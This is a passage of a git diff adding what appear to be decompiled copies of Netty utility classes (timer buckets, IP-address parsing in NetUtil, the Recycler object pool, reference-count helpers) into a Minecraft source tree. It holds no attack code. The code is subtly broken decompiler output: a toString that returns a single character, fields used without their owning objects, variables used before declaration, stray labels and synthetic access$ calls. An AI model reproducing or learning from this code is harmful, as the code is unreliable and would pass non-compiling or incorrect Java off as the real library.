+          if (bucket != null) {
+            bucket.remove(HashedWheelTimer.HashedWheelTimeout.this);
+          }
+        }
+      });
+      return true;
+    }
+    
+    public boolean compareAndSetState(int expected, int state) {
+      return STATE_UPDATER.compareAndSet(this, expected, state);
+    }
+    
+    public int state() {
+      return state;
+    }
+    
+    public boolean isCancelled()
+    {
+      return state() == 1;
+    }
+    
+    public boolean isExpired()
+    {
+      return state() == 2;
+    }
+    
+    public HashedWheelTimeout value()
+    {
+      return this;
+    }
+    
+    public void expire() {
+      if (!compareAndSetState(0, 2)) {
+        return;
+      }
+      try
+      {
+        task.run(this);
+      } catch (Throwable t) {
+        if (HashedWheelTimer.logger.isWarnEnabled()) {
+          HashedWheelTimer.logger.warn("An exception was thrown by " + TimerTask.class.getSimpleName() + '.', t);
+        }
+      }
+    }
+    
+    public String toString()
+    {
+      long currentTime = System.nanoTime();
+      long remaining = deadline - currentTime + timer.startTime;
+      
+      StringBuilder buf = new StringBuilder(192);
+      buf.append(StringUtil.simpleClassName(this));
+      buf.append('(');
+      
+      buf.append("deadline: ");
+      if (remaining > 0L) {
+        buf.append(remaining);
+        buf.append(" ns later");
+      } else if (remaining < 0L) {
+        buf.append(-remaining);
+        buf.append(" ns ago");
+      } else {
+        buf.append("now");
+      }
+      
+      if (isCancelled()) {
+        buf.append(", cancelled");
+      }
+      
+      buf.append(", task: ");
+      buf.append(task());
+      
+      return ')';
+    }
+  }
+  
+
+
+  private static final class HashedWheelBucket
+  {
+    private HashedWheelTimer.HashedWheelTimeout head;
+    
+    private HashedWheelTimer.HashedWheelTimeout tail;
+    
+
+    private HashedWheelBucket() {}
+    
+
+    public void addTimeout(HashedWheelTimer.HashedWheelTimeout timeout)
+    {
+      assert (bucket == null);
+      bucket = this;
+      if (head == null) {
+        head = (this.tail = timeout);
+      } else {
+        tail.next = timeout;
+        prev = tail;
+        tail = timeout;
+      }
+    }
+    
+
+
+    public void expireTimeouts(long deadline)
+    {
+      HashedWheelTimer.HashedWheelTimeout timeout = head;
+      
+
+      while (timeout != null) {
+        boolean remove = false;
+        if (remainingRounds <= 0L) {
+          if (HashedWheelTimer.HashedWheelTimeout.access$800(timeout) <= deadline) {
+            timeout.expire();
+          }
+          else {
+            throw new IllegalStateException(String.format("timeout.deadline (%d) > deadline (%d)", new Object[] { Long.valueOf(HashedWheelTimer.HashedWheelTimeout.access$800(timeout)), Long.valueOf(deadline) }));
+          }
+          
+          remove = true;
+        } else if (timeout.isCancelled()) {
+          remove = true;
+        } else {
+          remainingRounds -= 1L;
+        }
+        
+        HashedWheelTimer.HashedWheelTimeout next = next;
+        if (remove) {
+          remove(timeout);
+        }
+        timeout = next;
+      }
+    }
+    
+    public void remove(HashedWheelTimer.HashedWheelTimeout timeout) {
+      HashedWheelTimer.HashedWheelTimeout next = next;
+      
+      if (prev != null) {
+        prev.next = next;
+      }
+      if (next != null) {
+        next.prev = prev;
+      }
+      
+      if (timeout == head)
+      {
+        if (timeout == tail) {
+          tail = null;
+          head = null;
+        } else {
+          head = next;
+        }
+      } else if (timeout == tail)
+      {
+        tail = prev;
+      }
+      
+      prev = null;
+      next = null;
+      bucket = null;
+    }
+    
+
+    public void clearTimeouts(Set<Timeout> set)
+    {
+      for (;;)
+      {
+        HashedWheelTimer.HashedWheelTimeout timeout = pollTimeout();
+        if (timeout == null) {
+          return;
+        }
+        if ((!timeout.isExpired()) && (!timeout.isCancelled()))
+        {
+
+          set.add(timeout); }
+      }
+    }
+    
+    private HashedWheelTimer.HashedWheelTimeout pollTimeout() {
+      HashedWheelTimer.HashedWheelTimeout head = this.head;
+      if (head == null) {
+        return null;
+      }
+      HashedWheelTimer.HashedWheelTimeout next = next;
+      if (next == null) {
+        tail = (this.head = null);
+      } else {
+        this.head = next;
+        prev = null;
+      }
+      
+
+      next = null;
+      prev = null;
+      bucket = null;
+      return head;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/HashingStrategy.java b/src/minecraft/io/netty/util/HashingStrategy.java
new file mode 100644
index 0000000..2a46b05
--- /dev/null
+++ b/src/minecraft/io/netty/util/HashingStrategy.java
@@ -0,0 +1,77 @@
+package io.netty.util;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface HashingStrategy<T>
+{
+  public static final HashingStrategy JAVA_HASHER = new HashingStrategy()
+  {
+    public int hashCode(Object obj) {
+      return obj != null ? obj.hashCode() : 0;
+    }
+    
+    public boolean equals(Object a, Object b)
+    {
+      return (a == b) || ((a != null) && (a.equals(b)));
+    }
+  };
+  
+  public abstract int hashCode(T paramT);
+  
+  public abstract boolean equals(T paramT1, T paramT2);
+}
diff --git a/src/minecraft/io/netty/util/IllegalReferenceCountException.java b/src/minecraft/io/netty/util/IllegalReferenceCountException.java
new file mode 100644
index 0000000..0df098b
--- /dev/null
+++ b/src/minecraft/io/netty/util/IllegalReferenceCountException.java
@@ -0,0 +1,48 @@
+package io.netty.util;
+
+
+
+
+
+
+
+public class IllegalReferenceCountException
+  extends IllegalStateException
+{
+  private static final long serialVersionUID = -2507492394288153468L;
+  
+
+
+
+
+
+
+  public IllegalReferenceCountException() {}
+  
+
+
+
+
+
+
+  public IllegalReferenceCountException(int refCnt)
+  {
+    this("refCnt: " + refCnt);
+  }
+  
+  public IllegalReferenceCountException(int refCnt, int increment) {
+    this("refCnt: " + refCnt + ", " + (increment > 0 ? "increment: " + increment : new StringBuilder().append("decrement: ").append(-increment).toString()));
+  }
+  
+  public IllegalReferenceCountException(String message) {
+    super(message);
+  }
+  
+  public IllegalReferenceCountException(String message, Throwable cause) {
+    super(message, cause);
+  }
+  
+  public IllegalReferenceCountException(Throwable cause) {
+    super(cause);
+  }
+}
diff --git a/src/minecraft/io/netty/util/IntSupplier.java b/src/minecraft/io/netty/util/IntSupplier.java
new file mode 100644
index 0000000..190c976
--- /dev/null
+++ b/src/minecraft/io/netty/util/IntSupplier.java
@@ -0,0 +1,7 @@
+package io.netty.util;
+
+public abstract interface IntSupplier
+{
+  public abstract int get()
+    throws Exception;
+}
diff --git a/src/minecraft/io/netty/util/Mapping.java b/src/minecraft/io/netty/util/Mapping.java
new file mode 100644
index 0000000..6eeae0e
--- /dev/null
+++ b/src/minecraft/io/netty/util/Mapping.java
@@ -0,0 +1,6 @@
+package io.netty.util;
+
+public abstract interface Mapping<IN, OUT>
+{
+  public abstract OUT map(IN paramIN);
+}
diff --git a/src/minecraft/io/netty/util/NetUtil.java b/src/minecraft/io/netty/util/NetUtil.java
new file mode 100644
index 0000000..7749d87
--- /dev/null
+++ b/src/minecraft/io/netty/util/NetUtil.java
@@ -0,0 +1,609 @@
+package io.netty.util;
+
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileReader;
+import java.net.Inet4Address;
+import java.net.Inet6Address;
+import java.net.InetAddress;
+import java.net.NetworkInterface;
+import java.net.SocketException;
+import java.util.ArrayList;
+import java.util.Enumeration;
+import java.util.Iterator;
+import java.util.List;
+import java.util.StringTokenizer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class NetUtil
+{
+  public static final Inet4Address LOCALHOST4;
+  public static final Inet6Address LOCALHOST6;
+  public static final InetAddress LOCALHOST;
+  public static final NetworkInterface LOOPBACK_IF;
+  public static final int SOMAXCONN;
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(NetUtil.class);
+  
+  static {
+    byte[] LOCALHOST4_BYTES = { Byte.MAX_VALUE, 0, 0, 1 };
+    byte[] LOCALHOST6_BYTES = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1 };
+    
+
+    Inet4Address localhost4 = null;
+    try {
+      localhost4 = (Inet4Address)InetAddress.getByAddress(LOCALHOST4_BYTES);
+    }
+    catch (Exception e) {
+      PlatformDependent.throwException(e);
+    }
+    LOCALHOST4 = localhost4;
+    
+
+    Inet6Address localhost6 = null;
+    try {
+      localhost6 = (Inet6Address)InetAddress.getByAddress(LOCALHOST6_BYTES);
+    }
+    catch (Exception e) {
+      PlatformDependent.throwException(e);
+    }
+    LOCALHOST6 = localhost6;
+    
+
+    List<NetworkInterface> ifaces = new ArrayList();
+    try {
+      for (i = NetworkInterface.getNetworkInterfaces(); i.hasMoreElements();) {
+        NetworkInterface iface = (NetworkInterface)i.nextElement();
+        
+        if (iface.getInetAddresses().hasMoreElements())
+          ifaces.add(iface);
+      }
+    } catch (SocketException e) {
+      Enumeration<NetworkInterface> i;
+      logger.warn("Failed to retrieve the list of available network interfaces", e);
+    }
+    
+
+
+
+    NetworkInterface loopbackIface = null;
+    InetAddress loopbackAddr = null;
+    for (Iterator i$ = ifaces.iterator(); i$.hasNext();) { iface = (NetworkInterface)i$.next();
+      for (i = iface.getInetAddresses(); i.hasMoreElements();) {
+        InetAddress addr = (InetAddress)i.nextElement();
+        if (addr.isLoopbackAddress())
+        {
+          loopbackIface = iface;
+          loopbackAddr = addr;
+          break label325;
+        }
+      } }
+    NetworkInterface iface;
+    Enumeration<InetAddress> i;
+    label325:
+    if (loopbackIface == null) {
+      try {
+        for (NetworkInterface iface : ifaces) {
+          if (iface.isLoopback()) {
+            Enumeration<InetAddress> i = iface.getInetAddresses();
+            if (i.hasMoreElements())
+            {
+              loopbackIface = iface;
+              loopbackAddr = (InetAddress)i.nextElement();
+              break;
+            }
+          }
+        }
+        
+        if (loopbackIface == null) {
+          logger.warn("Failed to find the loopback interface");
+        }
+      } catch (SocketException e) {
+        logger.warn("Failed to find the loopback interface", e);
+      }
+    }
+    
+    if (loopbackIface != null)
+    {
+      logger.debug("Loopback interface: {} ({}, {})", new Object[] { loopbackIface.getName(), loopbackIface.getDisplayName(), loopbackAddr.getHostAddress() });
+
+
+
+
+    }
+    else if (loopbackAddr == null) {
+      try {
+        if (NetworkInterface.getByInetAddress(LOCALHOST6) != null) {
+          logger.debug("Using hard-coded IPv6 localhost address: {}", localhost6);
+          loopbackAddr = localhost6;
+        }
+      }
+      catch (Exception e) {}finally
+      {
+        if (loopbackAddr == null) {
+          logger.debug("Using hard-coded IPv4 localhost address: {}", localhost4);
+          loopbackAddr = localhost4;
+        }
+      }
+    }
+    
+
+    LOOPBACK_IF = loopbackIface;
+    LOCALHOST = loopbackAddr;
+    
+
+
+
+
+    int somaxconn = PlatformDependent.isWindows() ? 200 : 128;
+    File file = new File("/proc/sys/net/core/somaxconn");
+    if (file.exists()) {
+      BufferedReader in = null;
+      try {
+        in = new BufferedReader(new FileReader(file));
+        somaxconn = Integer.parseInt(in.readLine());
+        if (logger.isDebugEnabled()) {
+          logger.debug("{}: {}", file, Integer.valueOf(somaxconn));
+        }
+      } catch (Exception e) {
+        logger.debug("Failed to get SOMAXCONN from: {}", file, e);
+      } finally {
+        if (in != null) {
+          try {
+            in.close();
+          }
+          catch (Exception e) {}
+        }
+      }
+    }
+    
+    if (logger.isDebugEnabled()) {
+      logger.debug("{}: {} (non-existent)", file, Integer.valueOf(somaxconn));
+    }
+    
+
+    SOMAXCONN = somaxconn;
+  }
+  
+
+
+
+
+  public static byte[] createByteArrayFromIpAddressString(String ipAddressString)
+  {
+    if (isValidIpV4Address(ipAddressString)) {
+      StringTokenizer tokenizer = new StringTokenizer(ipAddressString, ".");
+      
+
+      byte[] byteAddress = new byte[4];
+      for (int i = 0; i < 4; i++) {
+        String token = tokenizer.nextToken();
+        int tempInt = Integer.parseInt(token);
+        byteAddress[i] = ((byte)tempInt);
+      }
+      
+      return byteAddress;
+    }
+    
+    if (isValidIpV6Address(ipAddressString)) {
+      if (ipAddressString.charAt(0) == '[') {
+        ipAddressString = ipAddressString.substring(1, ipAddressString.length() - 1);
+      }
+      
+      StringTokenizer tokenizer = new StringTokenizer(ipAddressString, ":.", true);
+      ArrayList<String> hexStrings = new ArrayList();
+      ArrayList<String> decStrings = new ArrayList();
+      String token = "";
+      String prevToken = "";
+      int doubleColonIndex = -1;
+      
+
+
+
+
+
+
+      while (tokenizer.hasMoreTokens()) {
+        prevToken = token;
+        token = tokenizer.nextToken();
+        
+        if (":".equals(token)) {
+          if (":".equals(prevToken)) {
+            doubleColonIndex = hexStrings.size();
+          } else if (!prevToken.isEmpty()) {
+            hexStrings.add(prevToken);
+          }
+        } else if (".".equals(token)) {
+          decStrings.add(prevToken);
+        }
+      }
+      
+      if (":".equals(prevToken)) {
+        if (":".equals(token)) {
+          doubleColonIndex = hexStrings.size();
+        } else {
+          hexStrings.add(token);
+        }
+      } else if (".".equals(prevToken)) {
+        decStrings.add(token);
+      }
+      
+
+
+      int hexStringsLength = 8;
+      
+
+
+      if (!decStrings.isEmpty()) {
+        hexStringsLength -= 2;
+      }
+      
+
+      if (doubleColonIndex != -1) {
+        int numberToInsert = hexStringsLength - hexStrings.size();
+        for (int i = 0; i < numberToInsert; i++) {
+          hexStrings.add(doubleColonIndex, "0");
+        }
+      }
+      
+      byte[] ipByteArray = new byte[16];
+      
+
+      for (int i = 0; i < hexStrings.size(); i++) {
+        convertToBytes((String)hexStrings.get(i), ipByteArray, i * 2);
+      }
+      
+
+      for (int i = 0; i < decStrings.size(); i++) {
+        ipByteArray[(i + 12)] = ((byte)(Integer.parseInt((String)decStrings.get(i)) & 0xFF));
+      }
+      return ipByteArray;
+    }
+    return null;
+  }
+  
+
+
+
+  private static void convertToBytes(String hexWord, byte[] ipByteArray, int byteIndex)
+  {
+    int hexWordLength = hexWord.length();
+    int hexWordIndex = 0;
+    ipByteArray[byteIndex] = 0;
+    ipByteArray[(byteIndex + 1)] = 0;
+    
+
+
+    if (hexWordLength > 3) {
+      int charValue = getIntValue(hexWord.charAt(hexWordIndex++)); int 
+        tmp39_38 = byteIndex; byte[] tmp39_37 = ipByteArray;tmp39_37[tmp39_38] = ((byte)(tmp39_37[tmp39_38] | charValue << 4));
+    }
+    
+
+    if (hexWordLength > 2) {
+      int charValue = getIntValue(hexWord.charAt(hexWordIndex++)); int 
+        tmp69_68 = byteIndex; byte[] tmp69_67 = ipByteArray;tmp69_67[tmp69_68] = ((byte)(tmp69_67[tmp69_68] | charValue));
+    }
+    
+
+    if (hexWordLength > 1) {
+      int charValue = getIntValue(hexWord.charAt(hexWordIndex++)); int 
+        tmp99_98 = (byteIndex + 1); byte[] tmp99_95 = ipByteArray;tmp99_95[tmp99_98] = ((byte)(tmp99_95[tmp99_98] | charValue << 4));
+    }
+    
+
+    int charValue = getIntValue(hexWord.charAt(hexWordIndex)); int 
+      tmp123_122 = (byteIndex + 1); byte[] tmp123_119 = ipByteArray;tmp123_119[tmp123_122] = ((byte)(tmp123_119[tmp123_122] | charValue & 0xF));
+  }
+  
+  static int getIntValue(char c)
+  {
+    switch (c) {
+    case '0': 
+      return 0;
+    case '1': 
+      return 1;
+    case '2': 
+      return 2;
+    case '3': 
+      return 3;
+    case '4': 
+      return 4;
+    case '5': 
+      return 5;
+    case '6': 
+      return 6;
+    case '7': 
+      return 7;
+    case '8': 
+      return 8;
+    case '9': 
+      return 9;
+    }
+    
+    c = Character.toLowerCase(c);
+    switch (c) {
+    case 'a': 
+      return 10;
+    case 'b': 
+      return 11;
+    case 'c': 
+      return 12;
+    case 'd': 
+      return 13;
+    case 'e': 
+      return 14;
+    case 'f': 
+      return 15;
+    }
+    return 0;
+  }
+  
+  public static boolean isValidIpV6Address(String ipAddress) {
+    int length = ipAddress.length();
+    boolean doubleColon = false;
+    int numberOfColons = 0;
+    int numberOfPeriods = 0;
+    int numberOfPercent = 0;
+    StringBuilder word = new StringBuilder();
+    char c = '\000';
+    
+    int offset = 0;
+    
+    if (length < 2) {
+      return false;
+    }
+    
+    for (int i = 0; i < length; i++) {
+      char prevChar = c;
+      c = ipAddress.charAt(i);
+      switch (c)
+      {
+
+      case '[': 
+        if (i != 0) {
+          return false;
+        }
+        if (ipAddress.charAt(length - 1) != ']') {
+          return false;
+        }
+        offset = 1;
+        if (length < 4) {
+          return false;
+        }
+        
+
+        break;
+      case ']': 
+        if (i != length - 1) {
+          return false;
+        }
+        if (ipAddress.charAt(0) != '[') {
+          return false;
+        }
+        
+
+        break;
+      case '.': 
+        numberOfPeriods++;
+        if (numberOfPeriods > 3) {
+          return false;
+        }
+        if (!isValidIp4Word(word.toString())) {
+          return false;
+        }
+        if ((numberOfColons != 6) && (!doubleColon)) {
+          return false;
+        }
+        
+
+        if ((numberOfColons == 7) && (ipAddress.charAt(offset) != ':') && (ipAddress.charAt(1 + offset) != ':'))
+        {
+          return false;
+        }
+        word.delete(0, word.length());
+        break;
+      
+
+
+
+      case ':': 
+        if ((i == offset) && ((ipAddress.length() <= i) || (ipAddress.charAt(i + 1) != ':'))) {
+          return false;
+        }
+        
+        numberOfColons++;
+        if (numberOfColons > 7) {
+          return false;
+        }
+        if (numberOfPeriods > 0) {
+          return false;
+        }
+        if (prevChar == ':') {
+          if (doubleColon) {
+            return false;
+          }
+          doubleColon = true;
+        }
+        word.delete(0, word.length());
+        break;
+      case '%': 
+        if (numberOfColons == 0) {
+          return false;
+        }
+        numberOfPercent++;
+        
+
+        if (i + 1 >= length)
+        {
+
+          return false;
+        }
+        try {
+          if (Integer.parseInt(ipAddress.substring(i + 1)) < 0) {
+            return false;
+          }
+          
+        }
+        catch (NumberFormatException e)
+        {
+          return false;
+        }
+      
+
+      default: 
+        if (numberOfPercent == 0) {
+          if ((word != null) && (word.length() > 3)) {
+            return false;
+          }
+          if (!isValidHexChar(c)) {
+            return false;
+          }
+        }
+        word.append(c);
+      }
+      
+    }
+    
+    if (numberOfPeriods > 0)
+    {
+      if ((numberOfPeriods != 3) || (!isValidIp4Word(word.toString())) || (numberOfColons >= 7)) {
+        return false;
+      }
+    }
+    else
+    {
+      if ((numberOfColons != 7) && (!doubleColon)) {
+        return false;
+      }
+      
+
+
+
+      if ((numberOfPercent == 0) && 
+        (word.length() == 0) && (ipAddress.charAt(length - 1 - offset) == ':') && (ipAddress.charAt(length - 2 - offset) != ':'))
+      {
+        return false;
+      }
+    }
+    
+
+    return true;
+  }
+  
+  public static boolean isValidIp4Word(String word)
+  {
+    if ((word.length() < 1) || (word.length() > 3)) {
+      return false;
+    }
+    for (int i = 0; i < word.length(); i++) {
+      char c = word.charAt(i);
+      if ((c < '0') || (c > '9')) {
+        return false;
+      }
+    }
+    return Integer.parseInt(word) <= 255;
+  }
+  
+  static boolean isValidHexChar(char c) {
+    return ((c >= '0') && (c <= '9')) || ((c >= 'A') && (c <= 'F')) || ((c >= 'a') && (c <= 'f'));
+  }
+  
+
+
+
+
+
+
+  public static boolean isValidIpV4Address(String value)
+  {
+    int periods = 0;
+    
+    int length = value.length();
+    
+    if (length > 15) {
+      return false;
+    }
+    
+    StringBuilder word = new StringBuilder();
+    for (int i = 0; i < length; i++) {
+      char c = value.charAt(i);
+      if (c == '.') {
+        periods++;
+        if (periods > 3) {
+          return false;
+        }
+        if (word.length() == 0) {
+          return false;
+        }
+        if (Integer.parseInt(word.toString()) > 255) {
+          return false;
+        }
+        word.delete(0, word.length());
+      } else { if (!Character.isDigit(c)) {
+          return false;
+        }
+        if (word.length() > 2) {
+          return false;
+        }
+        word.append(c);
+      }
+    }
+    
+    if ((word.length() == 0) || (Integer.parseInt(word.toString()) > 255)) {
+      return false;
+    }
+    
+    return periods == 3;
+  }
+  
+  private NetUtil() {}
+}
diff --git a/src/minecraft/io/netty/util/Recycler.java b/src/minecraft/io/netty/util/Recycler.java
new file mode 100644
index 0000000..efcd0f9
--- /dev/null
+++ b/src/minecraft/io/netty/util/Recycler.java
@@ -0,0 +1,353 @@
+package io.netty.util;
+
+import io.netty.util.concurrent.FastThreadLocal;
+import io.netty.util.internal.SystemPropertyUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.lang.ref.WeakReference;
+import java.util.Arrays;
+import java.util.Map;
+import java.util.WeakHashMap;
+import java.util.concurrent.atomic.AtomicInteger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class Recycler<T>
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(Recycler.class);
+  
+  private static final AtomicInteger ID_GENERATOR = new AtomicInteger(Integer.MIN_VALUE);
+  private static final int OWN_THREAD_ID = ID_GENERATOR.getAndIncrement();
+  
+
+  private static final int DEFAULT_MAX_CAPACITY;
+  
+
+  static
+  {
+    int maxCapacity = SystemPropertyUtil.getInt("io.netty.recycler.maxCapacity.default", 0);
+    if (maxCapacity <= 0)
+    {
+      maxCapacity = 262144;
+    }
+    
+    DEFAULT_MAX_CAPACITY = maxCapacity;
+    if (logger.isDebugEnabled())
+      logger.debug("-Dio.netty.recycler.maxCapacity.default: {}", Integer.valueOf(DEFAULT_MAX_CAPACITY));
+  }
+  
+  private static final int INITIAL_CAPACITY = Math.min(DEFAULT_MAX_CAPACITY, 256);
+  
+  private final int maxCapacity;
+  
+  private final FastThreadLocal<Stack<T>> threadLocal = new FastThreadLocal()
+  {
+    protected Recycler.Stack<T> initialValue() {
+      return new Recycler.Stack(Recycler.this, Thread.currentThread(), maxCapacity);
+    }
+  };
+  
+  protected Recycler() {
+    this(DEFAULT_MAX_CAPACITY);
+  }
+  
+  protected Recycler(int maxCapacity) {
+    this.maxCapacity = Math.max(0, maxCapacity);
+  }
+  
+  public final T get()
+  {
+    Stack<T> stack = (Stack)threadLocal.get();
+    DefaultHandle handle = stack.pop();
+    if (handle == null) {
+      handle = stack.newHandle();
+      value = newObject(handle);
+    }
+    return value;
+  }
+  
+  public final boolean recycle(T o, Handle handle) {
+    DefaultHandle h = (DefaultHandle)handle;
+    if (stack.parent != this) {
+      return false;
+    }
+    if (o != value) {
+      throw new IllegalArgumentException("o does not belong to handle");
+    }
+    h.recycle();
+    return true;
+  }
+  
+  protected abstract T newObject(Handle paramHandle);
+  
+  public static abstract interface Handle {}
+  
+  static final class DefaultHandle implements Recycler.Handle
+  {
+    private int lastRecycledId;
+    private int recycleId;
+    private Recycler.Stack<?> stack;
+    private Object value;
+    
+    DefaultHandle(Recycler.Stack<?> stack) {
+      this.stack = stack;
+    }
+    
+    public void recycle() {
+      Thread thread = Thread.currentThread();
+      if (thread == stack.thread) {
+        stack.push(this);
+        return;
+      }
+      
+
+
+      Map<Recycler.Stack<?>, Recycler.WeakOrderQueue> delayedRecycled = (Map)Recycler.DELAYED_RECYCLED.get();
+      Recycler.WeakOrderQueue queue = (Recycler.WeakOrderQueue)delayedRecycled.get(stack);
+      if (queue == null) {
+        delayedRecycled.put(stack, queue = new Recycler.WeakOrderQueue(stack, thread));
+      }
+      queue.add(this);
+    }
+  }
+  
+  private static final FastThreadLocal<Map<Stack<?>, WeakOrderQueue>> DELAYED_RECYCLED = new FastThreadLocal()
+  {
+    protected Map<Recycler.Stack<?>, Recycler.WeakOrderQueue> initialValue()
+    {
+      return new WeakHashMap();
+    }
+  };
+  
+  private static final class WeakOrderQueue {
+    private static final int LINK_CAPACITY = 16;
+    private Link head;
+    private Link tail;
+    private WeakOrderQueue next;
+    private final WeakReference<Thread> owner;
+    
+    private static final class Link extends AtomicInteger {
+      private final Recycler.DefaultHandle[] elements = new Recycler.DefaultHandle[16];
+      
+      private int readIndex;
+      
+      private Link next;
+      
+
+      private Link() {}
+    }
+    
+
+    private final int id = Recycler.ID_GENERATOR.getAndIncrement();
+    
+    WeakOrderQueue(Recycler.Stack<?> stack, Thread thread) {
+      head = (this.tail = new Link(null));
+      owner = new WeakReference(thread);
+      synchronized (stack) {
+        next = head;
+        head = this;
+      }
+    }
+    
+    void add(Recycler.DefaultHandle handle) {
+      Recycler.DefaultHandle.access$702(handle, id);
+      
+      Link tail = this.tail;
+      int writeIndex;
+      if ((writeIndex = tail.get()) == 16) {
+        this.tail = (tail = next = new Link(null));
+        writeIndex = tail.get();
+      }
+      elements[writeIndex] = handle;
+      Recycler.DefaultHandle.access$202(handle, null);
+      
+
+      tail.lazySet(writeIndex + 1);
+    }
+    
+    boolean hasFinalData() {
+      return tail.readIndex != tail.get();
+    }
+    
+
+
+    boolean transfer(Recycler.Stack<?> to)
+    {
+      Link head = this.head;
+      if (head == null) {
+        return false;
+      }
+      
+      if (readIndex == 16) {
+        if (next == null) {
+          return false;
+        }
+        this.head = (head = next);
+      }
+      
+      int start = readIndex;
+      int end = head.get();
+      if (start == end) {
+        return false;
+      }
+      
+      int count = end - start;
+      if (size + count > elements.length) {
+        elements = ((Recycler.DefaultHandle[])Arrays.copyOf(elements, (size + count) * 2));
+      }
+      
+      Recycler.DefaultHandle[] src = elements;
+      Recycler.DefaultHandle[] trg = elements;
+      int size = size;
+      while (start < end) {
+        Recycler.DefaultHandle element = src[start];
+        if (Recycler.DefaultHandle.access$1300(element) == 0) {
+          Recycler.DefaultHandle.access$1302(element, Recycler.DefaultHandle.access$700(element));
+        } else if (Recycler.DefaultHandle.access$1300(element) != Recycler.DefaultHandle.access$700(element)) {
+          throw new IllegalStateException("recycled already");
+        }
+        Recycler.DefaultHandle.access$202(element, to);
+        trg[(size++)] = element;
+        src[(start++)] = null;
+      }
+      size = size;
+      
+      if ((end == 16) && (next != null)) {
+        this.head = next;
+      }
+      
+      readIndex = end;
+      return true;
+    }
+  }
+  
+
+  static final class Stack<T>
+  {
+    final Recycler<T> parent;
+    
+    final Thread thread;
+    
+    private Recycler.DefaultHandle[] elements;
+    private final int maxCapacity;
+    private int size;
+    private volatile Recycler.WeakOrderQueue head;
+    private Recycler.WeakOrderQueue cursor;
+    private Recycler.WeakOrderQueue prev;
+    
+    Stack(Recycler<T> parent, Thread thread, int maxCapacity)
+    {
+      this.parent = parent;
+      this.thread = thread;
+      this.maxCapacity = maxCapacity;
+      elements = new Recycler.DefaultHandle[Recycler.INITIAL_CAPACITY];
+    }
+    
+    Recycler.DefaultHandle pop() {
+      int size = this.size;
+      if (size == 0) {
+        if (!scavenge()) {
+          return null;
+        }
+        size = this.size;
+      }
+      size--;
+      Recycler.DefaultHandle ret = elements[size];
+      if (Recycler.DefaultHandle.access$700(ret) != Recycler.DefaultHandle.access$1300(ret)) {
+        throw new IllegalStateException("recycled multiple times");
+      }
+      Recycler.DefaultHandle.access$1302(ret, 0);
+      Recycler.DefaultHandle.access$702(ret, 0);
+      this.size = size;
+      return ret;
+    }
+    
+    boolean scavenge()
+    {
+      if (scavengeSome()) {
+        return true;
+      }
+      
+
+      prev = null;
+      cursor = head;
+      return false;
+    }
+    
+    boolean scavengeSome() {
+      boolean success = false;
+      Recycler.WeakOrderQueue cursor = this.cursor;Recycler.WeakOrderQueue prev = this.prev;
+      while (cursor != null) {
+        if (cursor.transfer(this)) {
+          success = true;
+          break;
+        }
+        Recycler.WeakOrderQueue next = Recycler.WeakOrderQueue.access$1500(cursor);
+        if (Recycler.WeakOrderQueue.access$1600(cursor).get() == null)
+        {
+
+
+          if (cursor.hasFinalData()) {
+            for (;;) {
+              if (!cursor.transfer(this)) {
+                break;
+              }
+            }
+          }
+          if (prev != null) {
+            Recycler.WeakOrderQueue.access$1502(prev, next);
+          }
+        } else {
+          prev = cursor;
+        }
+        cursor = next;
+      }
+      this.prev = prev;
+      this.cursor = cursor;
+      return success;
+    }
+    
+    void push(Recycler.DefaultHandle item) {
+      if ((Recycler.DefaultHandle.access$1300(item) | Recycler.DefaultHandle.access$700(item)) != 0) {
+        throw new IllegalStateException("recycled already");
+      }
+      Recycler.DefaultHandle.access$1302(item, Recycler.DefaultHandle.access$702(item, Recycler.OWN_THREAD_ID));
+      
+      int size = this.size;
+      if (size == elements.length) {
+        if (size == maxCapacity)
+        {
+          return;
+        }
+        elements = ((Recycler.DefaultHandle[])Arrays.copyOf(elements, size << 1));
+      }
+      
+      elements[size] = item;
+      this.size = (size + 1);
+    }
+    
+    Recycler.DefaultHandle newHandle() {
+      return new Recycler.DefaultHandle(this);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/ReferenceCountUtil.java b/src/minecraft/io/netty/util/ReferenceCountUtil.java
new file mode 100644
index 0000000..03bc648
--- /dev/null
+++ b/src/minecraft/io/netty/util/ReferenceCountUtil.java
@@ -0,0 +1,159 @@
+package io.netty.util;
+
+import io.netty.util.internal.StringUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ReferenceCountUtil
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(ReferenceCountUtil.class);
+  
+
+
+
+
+  public static <T> T retain(T msg)
+  {
+    if ((msg instanceof ReferenceCounted)) {
+      return ((ReferenceCounted)msg).retain();
+    }
+    return msg;
+  }
+  
+
+
+
+
+  public static <T> T retain(T msg, int increment)
+  {
+    if ((msg instanceof ReferenceCounted)) {
+      return ((ReferenceCounted)msg).retain(increment);
+    }
+    return msg;
+  }
+  
+
+
+
+  public static boolean release(Object msg)
+  {
+    if ((msg instanceof ReferenceCounted)) {
+      return ((ReferenceCounted)msg).release();
+    }
+    return false;
+  }
+  
+
+
+
+  public static boolean release(Object msg, int decrement)
+  {
+    if ((msg instanceof ReferenceCounted)) {
+      return ((ReferenceCounted)msg).release(decrement);
+    }
+    return false;
+  }
+  
+
+
+
+
+
+  public static void safeRelease(Object msg)
+  {
+    try
+    {
+      release(msg);
+    } catch (Throwable t) {
+      logger.warn("Failed to release a message: {}", msg, t);
+    }
